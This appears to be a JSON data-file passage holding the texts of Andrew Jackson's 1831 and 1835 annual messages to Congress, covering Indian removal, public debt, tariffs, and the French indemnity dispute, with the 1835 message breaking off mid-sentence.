not place them beyond the reach of philanthropic aid\nand Christian instruction. On the contrary, those whom philanthropy or\nreligion may induce to live among them in their new abode will be more\nfree in the exercise of their benevolent functions than if they had\nremained within the limits of the States, embarrassed by their internal\nregulations. Now subject to no control but the superintending agency of\nthe General Government, exercised with the sole view of preserving\npeace, they may proceed unmolested in the interesting experiment of\ngradually advancing a community of American Indians from barbarism to\nthe habits and enjoyments of civilized life.Among the happiest effects of the improved relations of our Republic\nhas been an increase of trade, producing a corresponding increase of\nrevenue beyond the most sanguine anticipations of the Treasury\nDepartment.The state of the public finances will be fully shown by the Secretary\nof the Treasury in the report which he will presently lay before you. I\nwill here, however, congratulate you upon their prosperous condition.\nThe revenue received in the present year will not fall short of\n$27,700,000, and the expenditures for all objects other than the public\ndebt will not exceed $14,700,000. The payment on account of the\nprincipal and interest of the debt during the year will exceed\n$16,500,000, a greater sum than has been applied to that object out of\nthe revenue in any year since the enlargement of the sinking fund\nexcept the two years following immediately there after. The amount\nwhich will have been applied to the public debt from March 4th, 1829 to\nJanuary 1st, 1832, which is less than three years since the\nAdministration has been placed in my hands, will exceed $40,000,000.From the large importations of the present year it may be safely\nestimated that the revenue which will be received into the Treasury\nfrom that source during the next year, with the aid of that received\nfrom the public lands, will considerably exceed the amount of the\nreceipts of the present year; and it is believed that with the means\nwhich the Government will have at its disposal from various sources,\nwhich will be fully stated by the proper Department, the whole of the\npublic debt may be extinguished, either by redemption or purchase,\nwithin the four years of my Administration. We shall then exhibit the\nrare example of a great nation, abounding in all the means of happiness\nand security, altogether free from debt.The confidence with which the extinguishment of the public debt may be\nanticipated presents an opportunity for carrying into effect more fully\nthe policy in relation to import duties which has been recommended in\nmy former messages. A modification of the tariff which shall produce a\nreduction of our revenue to the wants of the Government and an\nadjustment of the duties on imports with a view to equal justice in\nrelation to all our national interests and to the counteraction of\nforeign policy so far as it may be injurious to those interests, is\ndeemed to be one of the principal objects which demand the\nconsideration of the present Congress. Justice to the interests of the\nmerchant as well as the manufacturer requires that material reductions\nin the import duties be prospective; and unless the present Congress\nshall dispose of the subject the proposed reductions can not properly\nbe made to take effect at the period when the necessity for the revenue\narising from present rates shall cease. It is therefore desirable that\narrangements be adopted at your present session to relieve the people\nfrom unnecessary taxation after the extinguishment of the public debt.\nIn the exercise of that spirit of concession and conciliation which has\ndistinguished the friends of our Union in all great emergencies, it is\nbelieved that this object may be effected without injury to any\nnational interest.In my annual message of December, 1829, I had the honor to recommend\nthe adoption of a more liberal policy than that which then prevailed\ntoward unfortunate debtors to the Government, and I deem it my duty\nagain to invite your attention to this subject.Actuated by similar views, Congress at their last session passed an act\nfor the relief of certain insolvent debtors of the United States, but\nthe provisions of that law have not been deemed such as were adequate\nto that relief to this unfortunate class of our fellow citizens which\nmay be safely extended to them. The points in which the law appears to\nbe defective will be particularly communicated by the Secretary of the\nTreasury, and I take pleasure in recommending such an extension of its\nprovisions as will unfetter the enterprise of a valuable portion of our\ncitizens and restore to them the means of usefulness to themselves and\nthe community. While deliberating on this subject I would also\nrecommend to your consideration the propriety of so modifying the laws\nfor enforcing the payment of debts due either to the public or to\nindividuals suing in the courts of the United States as to restrict the\nimprisonment of the person to cases of fraudulent concealment of\nproperty. The personal liberty of the citizen seems too sacred to be\nheld, as in many cases it now is, at the will of a creditor to whom he\nis willing to surrender all the means he has of discharging his debt.The reports from the Secretaries of the War and Navy Departments and\nfrom the Post Master General, which accompany this message, present\nsatisfactory views of the operations of the Departments respectively\nunder their charge, and suggest improvements which are worthy of and to\nwhich I invite the serious attention of Congress. Certain defects and\nomissions having been discovered in the operation of the laws\nrespecting patents, they are pointed out in the accompanying report\nfrom the Secretary of State.I have heretofore recommended amendments of the Federal Constitution\ngiving the election of President and Vice-President to the people and\nlimiting the service of the former to a single term. So important do I\nconsider these changes in our fundamental law that I can not, in\naccordance with my sense of duty, omit to press them upon the\nconsideration of a new Congress. For my views more at large, as well in\nrelation to these points as to the disqualification of members of\nCongress to receive an office from a President in whose election they\nhave had an official agency, which I proposed as a substitute, I refer\nyou to my former messages.Our system of public accounts is extremely complicated, and it is\nbelieved may be much improved. Much of the present machinery and a\nconsiderable portion of the expenditure of public money may be\ndispensed with, while greater facilities can be afforded to the\nliquidation of claims upon the Government and an examination into their\njustice and legality quite as efficient as the present secured. With a\nview to a general reform in the system, I recommend the subject to the\nattention of Congress.I deem it my duty again to call your attention to the condition of the\nDistrict of Columbia. It was doubtless wise in the framers of our\nConstitution to place the people of this District under the\njurisdiction of the General Government, but to accomplish the objects\nthey had in view it is not necessary that this people should be\ndeprived of all the privileges of self-government. Independently of the\ndifficulty of inducing the representatives of distant States to turn\ntheir attention to projects of laws which are not of the highest\ninterest to their constituents, they are not individually, nor in\nCongress collectively, well qualified to legislate over the local\nconcerns of this District. Consequently its interests are much\nneglected, and the people are almost afraid to present their\ngrievances, lest a body in which they are not represented and which\nfeels little sympathy in their local relations should in its attempt to\nmake laws for them do more harm than good.Governed by the laws of the States whence they were severed, the two\nshores of the Potomac within the ten miles square have different penal\ncodes--not the present codes of Virginia and Maryland, but such as\nexisted in those States at the time of the cession to the United\nStates. As Congress will not form a new code, and as the people of the\nDistrict can not make one for themselves, they are virtually under two\ngovernments. Is it not just to allow them at least a Delegate in\nCongress, if not a local legislature, to make laws for the District,\nsubject to the approval or rejection of Congress? I earnestly recommend\nthe extension to them of every political right which their interests\nrequire and which may be compatible with the Constitution.The extension of the judiciary system of the United States is deemed to\nbe one of the duties of the Government. One-fourth of the States in the\nUnion do not participate in the benefits of a circuit court. To the\nStates of Indiana, Illinois, Missouri, Alabama, Mississippi, and\nLouisiana, admitted into the Union since the present judicial system\nwas organized, only a district court has been allowed. If this be\nsufficient, then the circuit courts already existing in 18 States ought\nto be abolished; if it be not sufficient, the defect ought to be\nremedied, and these States placed on the same footing with the other\nmembers of the Union. It was on this condition and on this footing that\nthey entered the Union, and they may demand circuit courts as a matter\nnot of concession, but of right. I trust that Congress will not adjourn\nleaving this anomaly in our system.Entertaining the opinions heretofore expressed in relation to the Bank\nof the United States as at present organized, I felt it my duty in my\nformer messages frankly to disclose them, in order that the attention\nof the Legislature and the people should be seasonably directed to that\nimportant subject, and that it might be considered and finally disposed\nof in a manner best calculated to promote the ends of the Constitution\nand subserve the public interests. Having thus conscientiously\ndischarged a constitutional duty, I deem it proper on this occasion,\nwithout a more particular reference to the views of the subject then\nexpressed to leave it for the present to the investigation of an\nenlightened people and their representatives.In conclusion permit me to invoke that Power which superintends all\ngovernments to infuse into your deliberations at this important crisis\nof our history a spirit of mutual forbearance and conciliation. In that\nspirit was our Union formed, and in that spirit must it be preserved.", 
+    "name": "Andrew Jackson"
+}
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+{
+    "date": "December 7, 1835", 
+    "speech": "Fellow Citizens of the Senate and of the House of Representatives:In the discharge of my official duty the again devolves upon me of\ncommunicating with a new Congress. The reflection that the\nrepresentation of the Union has been recently renewed, and that the\nconstitutional term of its service will expire with my own, heightens\nthe solicitude with which I shall attempt to lay before it the state of\nour national concerns and the devout hope which I cherish that its\nlabors to improve them may be crowned with success.You are assembled at a period of profound interest to the American\npatriot. The unexampled growth and prosperity of our country having\ngiven us a rank in the scale of nations which removes all apprehension\nof danger to our integrity and independence from external foes, the\ncareer of freedom is before us, with an earnest from the past that if\ntrue to ourselves there can be no formidable obstacle in the future to\nits peaceful and uninterrupted pursuit. Yet, in proportion to the\ndisappearance of those apprehensions which attended our weakness, as\nonce contrasted with the power of some of the States of the Old World,\nshould we now be solicitous as to those which belong to the conviction\nthat it is to our own conduct we must look for the preservation of\nthose causes on which depend the excellence and the duration of our\nhappy system of government.In the example of other systems founded on the will of the people we\ntrace to internal dissension the influences which have so often blasted\nthe hopes of the friends of freedom. The social elements, which were\nstrong and successful when united against external danger, failed in\nthe more difficult task of properly adjusting their own internal\norganization, and thus gave way the great principle of self-government.\nLet us trust that this admonition will never be forgotten by the\nGovernment or the people of the United States, and that the testimony\nwhich our experience thus far holds out to the great human family of\nthe practicability and the blessings of free government will be\nconfirmed in all time to come.We have but to look at the state of our agriculture, manufactures, and\ncommerce and the unexampled increase of our population to feel the\nmagnitude of the trust committed to us. Never in any former period of\nour history have we had greater reason than we now have to be thankful\nto Divine Providence for the blessings of health and general\nprosperity. Every branch of labor we see crowned with the most abundant\nrewards. In every element of national resources and wealth and of\nindividual comfort we witness the most rapid and solid improvements.\nWith no interruptions to this pleasing prospect at home which will not\nyield to the spirit of harmony and good will that so strikingly\npervades the mass of the people in every quarter, amidst all the\ndiversity of interest and pursuits to which they are attached, and with\nno cause of solicitude in regard to our external affairs which will\nnot, it is hoped, disappear before the principles of simple justice and\nthe forbearance that mark our intercourse with foreign powers, we have\nevery reason to feel proud of our beloved country.The general state of our foreign relations has not materially changed\nsince my last annual message.In the settlement of the question of the North Eastern boundary little\nprogress has been made. Great Britain has declined acceding to the\nproposition of the United States, presented in accordance with the\nresolution of the Senate, unless certain preliminary conditions were\nadmitted, which I deemed incompatible with a satisfactory and rightful\nadjustment of the controversy. Waiting for some distinct proposal from\nthe Government of Great Britain, which has been invited, I can only\nrepeat the expression of my confidence that, with the strong mutual\ndisposition which I believe exists to make a just arrangement, this\nperplexing question can be settled with a due regard to the\nwell-founded pretensions and pacific policy of all the parties to it.\nEvents are frequently occurring on the North Eastern frontier of a\ncharacter to impress upon all the necessity of a speedy and definitive\ntermination of the dispute. This consideration, added to the desire\ncommon to both to relieve the liberal and friendly relations so happily\nexisting between the two countries from all embarrassment, will no\ndoubt have its just influence upon both.Our diplomatic intercourse with Portugal has been renewed, and it is\nexpected that the claims of our citizens, partially paid, will be fully\nsatisfied as soon as the condition of the Queen's Government will\npermit the proper attention to the subject of them. That Government\nhas, I am happy to inform you, manifested a determination to act upon\nthe liberal principles which have marked our commercial policy. The\nhappiest effects upon the future trade between the United States and\nPortugal are anticipated from it, and the time is not thought to be\nremote when a system of perfect reciprocity will be established.The installments due under the convention with the King of the Two\nSicilies have been paid with that scrupulous fidelity by which his\nwhole conduct has been characterized, and the hope is indulged that the\nadjustment of the vexed question of our claims will be followed by a\nmore extended and mutually beneficial intercourse between the two\ncountries.The internal contest still continues in Spain. Distinguished as this\nstruggle has unhappily been by incidents of the most sanguinary\ncharacter, the obligations of the late treaty of indemnification with\nus have been, never the less, faithfully executed by the Spanish\nGovernment.No provision having been made at the last session of Congress for the\nascertainment of the claims to be paid and the apportionment of the\nfunds under the convention made with Spain, I invite your early\nattention to the subject. The public evidences of the debt have,\naccording to the terms of the convention and in the forms prescribed by\nit, been placed in the possession of the United States, and the\ninterest as it fell due has been regularly paid upon them. Our\ncommercial intercourse with Cuba stands as regulated by the act of\nCongress. No recent information has been received as to the disposition\nof the Government of Madrid, and the lamented death of our recently\nappointed minister on his way to Spain, with the pressure of their\naffairs at home, renders it scarcely probable that any change is to be\nlooked for during the coming year.Further portions of the Florida archives have been sent to the United\nStates, although the death of one of the commissioners at a critical\nmoment embarrassed the progress of the delivery of them. The higher\nofficers of the local government have recently shown an anxious desire,\nin compliance with the orders from the parent Government, to facilitate\nthe selection and delivery of all we have a right to claim.Negotiations have been opened at Madrid for the establishment of a\nlasting peace between Spain and such of the Spanish American\nGovernments of this hemisphere as have availed themselves of the\nintimation given to all of them of the disposition of Spain to treat\nupon the basis of their entire independence. It is to be regretted that\nsimultaneous appointments by all of ministers to negotiate with Spain\nhad not been made. The negotiation itself would have been simplified,\nand this long-standing dispute, spreading over a large portion of the\nworld, would have been brought to a more speedy conclusion.Our political and commercial relations with Austria, Prussia, Sweden,\nand Denmark stand on the usual favorable bases. One of the articles of\nour treaty with Russia in relation to the trade on the North-West coast\nof America having expired, instructions have been given to our minister\nat St. Petersburg to negotiate a renewal of it. The long and unbroken\namity between the two Governments gives every reason for supposing the\narticle will be renewed, if stronger motives do not exist to prevent it\nthan with our view of the subject can be anticipated here. I ask your\nattention to the message of my predecessor at the opening of the second\nsession of the 19th Congress, relative to our commercial intercourse\nwith Holland, and to the documents connected with that subject,\ncommunicated to the House of Representatives on the 10th of January,\n1825, and 18th of January, 1827.Coinciding in the opinion of my predecessor that Holland is not, under\nthe regulations of her present system, entitled to have her vessels and\ntheir cargoes received into the United States on the footing of\nAmerican vessels and cargoes as regards duties of tonnage and impost, a\nrespect for his reference of it to the Legislature has alone prevented\nme from acting on the subject. I should still have waited without\ncomment for the action of Congress, but recently a claim has been made\nby Belgian subjects to admission into our ports for their ships and\ncargoes on the same footing as American, with the allegation we could\nnot dispute that our vessels received in their ports the identical\ntreatment shewn to them in the ports of Holland, upon whose vessels no\ndiscrimination is made in the ports of the United States.Given the same privileges the Belgians expected the same benefits--\nbenefits that were, in fact, enjoyed when Belgium and Holland were\nunited under one Government. Satisfied with the justice of their\npretension to be placed on the same footing with Holland, I could not,\nnever the less, without disregard to the principle of our laws, admit\ntheir claim to be treated as Americans, and at the same time a respect\nfor Congress, to whom the subject had long since been referred, has\nprevented me from producing a just equality by taking from the vessels\nof Holland privileges conditionally granted by acts of Congress,\nalthough the condition upon which the grant was made has, in my\njudgment, failed since 1822. I recommend, therefore, a review of the\nact of 1824, and such modification of it as will produce an equality on\nsuch terms as Congress shall think best comports with our settled\npolicy and the obligations of justice to two friendly powers.With the Sublime Porte and all the Governments on the coast of Barbary\nour relations continue to be friendly. The proper steps have been taken\nto renew our treaty with Morocco.The Argentine Republic has again promised to send within the current\nyear a minister to the United States.A convention with Mexico for extending the time for the appointment of\ncommissioners to run the boundary line has been concluded and will be\nsubmitted to the Senate. Recent events in that country have awakened\nthe liveliest solicitude in the United States. Aware of the strong\ntemptations existing and powerful inducements held out to the citizens\nof the United States to mingle in the dissensions of our immediate\nneighbors, instructions have been given to the district attorneys of\nthe United States where indications warranted it to prosecute without\nrespect to persons all who might attempt to violate the obligations of\nour neutrality, while at the same time it has been thought necessary to\napprise the Government of Mexico that we should require the integrity\nof our territory to be scrupulously respected by both parties.From our diplomatic agents in Brazil, Chile, Peru, Central America,\nVenezuela, and New Granada constant assurances are received of the\ncontinued good understanding with the Governments to which they are\nseverally accredited. With those Governments upon which our citizens\nhave valid and accumulating claims, scarcely an advance toward a\nsettlement of them is made, owing mainly to their distracted state or\nto the pressure of imperative domestic questions. Our patience has been\nand will probably be still further severely tried, but our fellow\ncitizens whose interests are involved may confide in the determination\nof the Government to obtain for them eventually ample retribution.Unfortunately, many of the nations of this hemisphere are still\nself-tormented by domestic dissensions. Revolution succeeds revolution;\ninjuries are committed upon foreigners engaged in lawful pursuits; much\ntime elapses before a government sufficiently stable is erected to\njustify expectation of redress; ministers are sent and received, and\nbefore the discussions of past injuries are fairly begun fresh troubles\narise; but too frequently new injuries are added to the old, to be\ndiscussed together with the existing government after it has proved its\nability to sustain the assaults made upon it, or with its successor if\noverthrown. If this unhappy condition of things continues much longer,\nother nations will be under the painful necessity of deciding whether\njustice to their suffering citizens does not require a prompt redress\nof injuries by their own power, without waiting for the establishment\nof a government competent and enduring enough to discuss and to make\nsatisfaction for them.Since the last session of Congress the validity of our claims upon\nFrance, as liquidated by the treaty of 1831, has been acknowledged by\nboth branches of her legislature, and the money has been appropriated\nfor their discharge; but the payment is, I regret to inform you, still\nwithheld.A brief recapitulation of the most important incidents in this\nprotracted controversy will shew how utterly untenable are the grounds\nupon which this course is attempted to be justified.On entering upon the duties of my station I found the United States an\nunsuccessful applicant to the justice of France for the satisfaction of\nclaims the validity of which was never questionable, and has now been\nmost solemnly admitted by France herself. The antiquity of these\nclaims, their high justice, and the aggravating circumstances out of\nwhich they arose are too familiar to the American people to require\ndescription. It is sufficient to say that for a period of ten years and\nupward our commerce was, with but little interruption, the subject of\nconstant aggression on the part of France--aggressions the ordinary\nfeatures of which were condemnations of vessels and cargoes under\narbitrary decrees, adopted in contravention as well of the laws of\nnations as of treaty stipulations, burnings on the high seas, and\nseizures and confiscations under special imperial rescripts in the\nports of other nations occupied by the armies or under the control of\nFrance. Such it is now conceded is the character of the wrongs we\nsuffered--wrongs in many cases so flagrant that even their authors\nnever denied our right to reparation. Of the extent of these injuries\nsome conception may be formed from the fact that after the burning of a\nlarge amount at sea and the necessary deterioration in other cases by\nlong detention the American property so seized and sacrificed at forced\nsales, excluding what was adjudged to privateers before or without\ncondemnation, brought into the French treasury upward of 24,000,000\nfrancs, besides large custom house duties.The subject had already been an affair of 20 years' uninterrupted\nnegotiation, except for a short time when France was overwhelmed by the\nmilitary power of united Europe. During this period, whilst other\nnations were extorting from her payment of their claims at the point of\nthe bayonet, the United States intermitted their demand for justice out\nof respect to the oppressed condition of a gallant people to whom they\nfelt under obligations for fraternal assistance in their own days of\nsuffering and peril. The bad effects of these protracted and unavailing\ndiscussions, were obvious, and the line of duty was to my mind equally\nso.This was either to insist upon the adjustment of our claims within a\nreasonable period or to abandon them altogether. I could not doubt that\nby this course the interests and honor of both countries would be best\nconsulted. Instructions were therefore given in this spirit to the\nminister who was sent out once more to demand reparation.Upon the meeting of Congress in December, 1829, I felt it my duty to\nspeak of these claims and the delays of France in terms calculated to\ncall the serious attention of both countries to the subject. The then\nFrench ministry took exception to the message on the ground of its\ncontaining a menace, under it was not agreeable to the French\nGovernment to negotiate. The American minister of his own accord\nrefuted the construction which was attempted to be put upon the message\nand at the same time called to the recollection of the French ministry\nthat the President's message was a communication addressed, not to\nforeign governments, but to the Congress of the United States, in which\nit was enjoined upon him by the Constitution to lay before that body\ninformation of the state of the Union, comprehending its foreign as\nwell as its domestic relations, and that if in the discharge of this\nduty he felt it incumbent upon him to summon the attention of Congress\nin due time to what might be the possible consequences of existing\ndifficulties with any foreign government, he might fairly be supposed\nto do so under a sense of his own Government, and not from any\nintention of holding a menace over a foreign power.The views taken by him received my approbation, the French Government\nwas satisfied, and the negotiation was continued. It terminated in the\ntreaty of July 4th, recognizing the justice of our claims in part and\npromising payment to the amount of 25,000,000 francs in six annual\ninstallments.The ratifications of this treaty were exchanged at Washington on the\nsecond of February, 1832, and in five days thereafter it was laid\nbefore Congress, who immediately passed the acts necessary on our part\nto secure to France the commercial advantages conceded to her in the\ncompact. The treaty had previously been solemnly ratified by the King\nof the French in terms which are certainly not mere matters of form,\nand of which the translation is as follows: WE, approving the above\nconvention in all and each of the dispositions which are contained in\nit, do declare, by ourselves as well as by our heirs and successors,\nthat it is accepted, approved, ratified, and confirmed, and by these\npresents, signed by our hand, we do accept, approve, ratify, and\nconfirm it; promising, on the faith and word of a king, to observe it\nand to cause it to be observed inviolably, without ever contravening it\nor suffering it to be contravened, directly or indirectly, for any\ncause or under any pretense whatsoever. Official information of the\nexchange of ratifications in the United States reached Paris whilst the\nChambers were in session. The extraordinary and to us injurious delays\nof the French Government in their action upon the subject of its\nfulfillment have been heretofore stated to Congress, and I have no\ndisposition to enlarge upon them here. It is sufficient to observe that\nthe then pending session was allowed to expire without even an effort\nto obtain the necessary appropriations; that the two succeeding ones\nwere also suffered to pass away without anything like a serious attempt\nto obtain a decision upon the subject, and that it was not until the\nfourth session, almost three years after the conclusion of the treaty\nand more than two years after the exchange of ratifications, that the\nbill for the execution of the treaty was pressed to a vote and\nrejected.In the mean time the Government of the United States, having full\nconfidence that a treaty entered into and so solemnly ratified by the\nFrench King would be executed in good faith, and not doubting that\nprovision would be made for the payment of the first installment which\nwas to become due on the second day of February, 1833, negotiated a\ndraft for the amount through the Bank of the United States. When this\ndraft was presented by the holder with the credentials required by the\ntreaty to authorize him to receive the money, the Government of France\nallowed it to be protested. In addition to the injury in the nonpayment\nof the money by France, conformably to her engagement, the United\nStates were exposed to a heavy claim on the part of the bank under\npretense of damages, in satisfaction of which that institution seized\nupon and still retains an equal amount of the public money.Congress was in session when the decision of the Chambers reached\nWashington, and an immediate communication of this apparently final\ndecision of France not to fulfill the stipulation of the treaty was the\ncourse naturally to be expected from the President. The deep tone of\ndissatisfaction which pervaded the public mind and the correspondent\nexcitement produced in Congress by only a general knowledge of the\nresult rendered it more than probable that a resort to immediate\nmeasures of redress would be the consequence of calling the attention\nof that body to the subject. Sincerely desirous of preserving the\npacific relations which had so long existed between the two countries,\nI was anxious to avoid this course if I could be satisfied that by so\nneither the interests nor the honor of my country would be\ncompromitted. Without the fullest assurances on that point, I could not\nhope to acquit myself of the responsibility to be incurred in suffering\nCongress to adjourn without laying the subject before them. Those\nreceived by me were believed to be of that character.That the feelings produced in the United States by the news of the\nrejection of the appropriation would be such as I have described them\nto have been was foreseen by the French Government, and prompt measures\nwere taken by it to prevent the consequence. The King in person\nexpressed through our minister at Paris his profound regret at the\ndecision of the Chambers, and promised to send forthwith a ship with\ndispatches to his minister here authorizing him to give such assurances\nas would satisfy the Government and people of the United States that\nthe treaty would yet be faithfully executed by France.The national ship arrived, and the minister received his instructions.\nClaiming to act under the authority derived from them, he gave to this\ngovernment in the name of his the most solemn assurances that as soon\nafter the new elections as the charter would permit the French Chambers\nwould be convened and the attempt to procure the necessary\nappropriations renewed; that all the constitutional powers of the King\nand his ministers should be put in requisition to accomplish the\nobject, and he was understood, and so expressly informed by this\nGovernment at the time, to engage that the question should be pressed\nto a decision at a period sufficiently early to permit information of\nthe result to be communicated to Congress at the commencement of their\nnext session. Relying upon these assurances, I incurred the\nresponsibility, great as I regarded it to be, of suffering Congress to\nseparate without communicating with them upon the subject.The expectations justly founded upon the promises thus solemnly made to\nthis Government by that of France were not realized. The French\nChambers met on the thirty-first of July, 1834, soon after the\nelection, and although our minister in Paris urged the French ministry\nto bring the subject before them, they declined doing so. He next\ninsisted that the Chambers, of prorogued without acting on the subject,\nshould be reassembled at a period so early that their action on the\ntreaty might be known in Washington prior to the meeting of Congress.This reasonable request was not only declined, but the Chambers were\nprorogued to the 29th of December, a day so late that their decision,\nhowever urgently pressed, could not in all probability be obtained in\ntime to reach Washington before the necessary adjournment of Congress\nby the Constitution. The reasons given by the ministry for refusing to\nconvoke the Chambers at an earlier period were afterwards shewn not to\nbe insuperable by their actual convocation on the first of December\nunder a special call for domestic purposes, which fact, however, did\nnot become known to this Government until after the commencement of the\nlast session of Congress.Thus disappointed in our just expectations, it became my imperative\nduty to consult with Congress in regard to the expediency of a resort\nto retaliatory measures in case the stipulations of the treaty should\nnot be speedily complied with, and to recommend such as in my judgment\nthe occasion called for. To this end an unreserved communication of the\ncase in all its aspects became indispensable. To have shrunk in making\nit from saying all that was necessary to its correct understanding, and\nthat the truth would justify, for fear of giving offense to others,\nwould have been unworthy of us. To have gone, on the other hand, a\nsingle step further for the purpose of wounding the pride of a\nGovernment and people with whom we had so many motives for cultivating\nrelations of amity and reciprocal advantage would have been unwise and\nimproper.Admonished by the past of the difficulty of making even the simplest\nstatement of our wrongs without disturbing the sensibilities of those\nwho had by their position become responsible for their redress, and\nearnestly desirous of preventing further obstacles from that source, I\nwent out of my way to preclude a construction of the message by which\nthe recommendation that was made to Congress might be regarded as a\nmenace to France in not only disavowing such a design, but in declaring\nthat her pride and her power were too well known to expect anything\nfrom her fears. The message did not reach Paris until more than a month\nafter the Chambers had been in session, and such was the insensibility\nof the ministry to our rightful claims and just expectations that our\nminister had been informed that the matter when introduced would not be\npressed as a cabinet measure.Although the message was not officially communicated to the French\nGovernment, and not withstanding the declaration to the contrary which\nit contained, the French ministry decided to consider the conditional\nrecommendation of reprisals a menace and an insult which the honor of\nthe nation made it incumbent on them to resent. The measures resorted\nto by them to evince their sense of the supposed indignity were the\nimmediate recall of their minister at Washington, the offer of\npassports to the American minister at Paris, and a public notice to the\nlegislative Chambers that all diplomatic intercourse with the United\nStates had been suspended.Having in this manner vindicated the dignity of France, they next\nproceeded to illustrate her justice. To this end a bill was immediately\nintroduced into the Chamber of Deputies proposing to make the\nappropriations necessary to carry into effect the treaty. As this bill\nsubsequently passed into a law, the provisions of which now constitute\nthe main subject of difficulty between the two nations, it becomes my\nduty, in order to place the subject before you in a clear light, to\ntrace the history of its passage and to refer with some particularity\nto the proceedings and discussions in regard to it.The minister of finance in his opening speech alluded to the measures\nwhich had been adopted to resent the supposed indignity, and\nrecommended the execution of the treaty as a measure required by the\nhonor and justice of France. He as the organ of the ministry declared\nthe message, so long as it had not received the sanction of Congress, a\nmere expression of the personal opinion of the President, for which\nneither the Government nor people of the United States were\nresponsible, and that an engagement had been entered into for the\nfulfillment of which the honor of France was pledged. Entertaining\nthese views, the single condition which the French ministry proposed to\nannex to the payment of the money was that it should not be made until\nit was ascertained that the Government of the United States had done\nnothing to injure the interests of France, or, in other words, that no\nsteps had been authorized by Congress of a hostile character toward\nFrance.What the disposition of action of Congress might be was then unknown to\nthe French cabinet; but on the 14th day of January the Senate resolved\nthat it was at that time inexpedient to adopt any legislative measures\nin regard to the state of affairs between the United States and France,\nand no action on the subject had occurred in the House of\nRepresentatives. These facts were known in Paris prior to the 28th of\nMarch, 1835, when the committee to whom the bill of indemnification had\nbeen referred reported it to the Chamber of Deputies. That committee\nsubstantially re-echoed the sentiments of the ministry, declared that\nCongress had set aside the proposition of the President, and\nrecommended the passage of the bill without any other restriction than\nthat originally proposed. Thus was it known to the French ministry and\nChambers that if the position assumed by them, and which had been so\nfrequently and solemnly announced as the only one compatible with the\nhonor of France, was maintained and the bill passed as originally\nproposed, the money would be paid and there would be an end of this\nunfortunate controversy.But this cheering prospect was soon destroyed by an amendment\nintroduced into the bill at the moment of its passage, providing that\nthe money should not be paid until the French Government had received\nsatisfactory explanations of the President's message of the second\nDecember, 1834, and, what is still more extraordinary, the president of\nthe council of ministers adopted this amendment and consented to its\nincorporation in the bill. In regard to a supposed insult which had\nbeen formally resented by the recall of their minister and the offer of\npassports to ours, they now for the first time proposed to ask\nexplanations. Sentiments and propositions which they had declared could\nnot justly be imputed to the Government or people of the United States\nare set up as obstacles to the performance of an act of conceded\njustice to that Government and people. They had declared that the honor\nof France required the fulfillment of the engagement into which the\nKing had entered, unless Congress adopted the recommendations of the\nmessage. They ascertained that Congress did not adopt them, and yet\nthat fulfillment is refused unless they first obtain from the President\nexplanations of an opinion characterized by themselves as personal and\ninoperative.The conception that it was my intention to menace or insult the\nGovernment of France is as unfounded as the attempt to extort from the\nfears of that nation what her sense of justice may deny would be vain\nand ridiculous. But the Constitution of the United States imposes on\nthe President the duty of laying before Congress the condition of the\ncountry in its foreign and domestic relations, and of recommending such\nmeasures as may in his opinion be required by its interests. From the\nperformance of this duty he can not be deterred by the fear of wounding\nthe sensibilities of the people or government of whom it may become\nnecessary to speak; and the American people are incapable of submitting\nto an interference by any government on earth, however powerful, with\nthe free performance of the domestic duties which the Constitution has\nimposed on their public functionaries.The discussions which intervene between the several departments of our\nGovernment being to ourselves, and for anything said in them our public\nservants are only responsible to their own constituents and to each\nother. If in the course of their consultations facts are erroneously\nstated or unjust deductions are made, they require no other inducement\nto correct them, however informed of their error, than their love of\njustice and what is due to their own character; but they can never\nsubmit to be interrogated upon the subject as a matter of right by a\nforeign power. When our discussions terminate in acts, our\nresponsibility to foreign powers commences, not as individuals, but as\na nation. The principle which calls in question the President for the\nlanguage of his message would equally justify a foreign power in\ndemanding explanations of the language used in the report of a\ncommittee or by a member in debate.This is not the first time that the Government of France has taken\nexception to the messages of American Presidents. President Washington\nand the first President Adams in the performance of their duties to the\nAmerican people fell under the animadversions of the French Directory.\nThe objection taken by the ministry of Charles X, and removed by the\nexplanation made by our minister upon the spot, has already been\nadverted to. When it was understood that the ministry of the present\nKing took exception to my message of last year, putting a construction\nupon it which was disavowed on its face, our late minister at Paris, in\nanswer to the note which first announced a dissatisfaction with the\nlanguage used in the message, made a communication to the French\nGovernment under date of the 29th of January, 1835, calculated to\nremove all impressions which an unreasonable susceptibility had\ncreated. He repeated and called the attention of the French Government\nto the disavowal contained in the message itself of any intention to\nintimidate by menace; he truly declared that it contained and was\nintended to contain no charge of ill faith against the King of the\nFrench, and properly distinguished between the right to complain in\nunexceptionable terms of the omission to execute an agreement and an\naccusation of bad motives in withholding such execution, and\ndemonstrated that the necessary use of that right ought not to be\nconsidered as an offensive imputation.Although this communication was made without instructions and entirely\non the minister's own responsibility, yet it was afterwards made the\nact of this Government by my full approbation, and that approbation was\nofficially made known on the 25th of April, 1835, to the French\nGovernment. It, however, failed to have any effect. The law, after this\nfriendly explanation, passed with the obnoxious amendment, supported by\nthe King's ministers, and was finally approved by the King.The people of the United States are justly attached to a pacific system\nin their intercourse with foreign nations. It is proper, therefore,\nthat they should know whether their Government has adhered to it. In\nthe present instance it has been carried to the utmost extent that was\nconsistent with a becoming self-respect. The note of the 29th of\nJanuary, to which I have before alluded, was not the only one which our\nminister took upon himself the responsibility of presenting on the same\nsubject and in the same spirit.Finding that it was intended to make the payment of a just debt\ndependent on the performance of a condition which he knew could never\nbe complied with, he thought it a duty to make another attempt to\nconvince the French Government that whilst self-respect and regard to\nthe dignity of other nations would always prevent us from using any\nlanguage that ought to give offense, yet we could never admit a right\nin any foreign government to ask explanations of or to interfere in any\nmanner in the communications which one branch of our public councils\nmade with another; that in the present case no such language had been\nused, and that this had in a former note been fully and voluntarily\nstate, before it was contemplated to make the explanation a condition;\nand that there might be no misapprehension he stated the terms used in\nthat note, and he officially informed them that it had been approved by\nthe President, and that therefore every explanation which could\nreasonably be asked or honorably given had been already made; that the\ncontemplated measure had been anticipated by a voluntary and friendly\ndeclaration, and was therefore not only useless, but might be deemed\noffensive, and certainly would not be complied with if annexed as a\ncondition.When this latter communication, to which I especially invite the\nattention of Congress, was laid before me, I entertained the hope that\nthe means it was obviously intended to afford of an honorable and\nspeedy adjustment of the difficulties between the two nations would\nhave been accepted, and I therefore did not hesitate to give it my\nsanction and full approbation. This was due to the minister who had\nmade himself responsible for the act, and it was published to the\npeople of the United States and is now laid before their\nrepresentatives to shew how far their Executive has gone in its\nendeavors to restore a good understanding between the two countries. It\nwould have been at any time communicated to the Government of France\nhad it been officially requested.The French Government having received all the explanation which honor\nand principle permitted, and which could in reason be asked, it 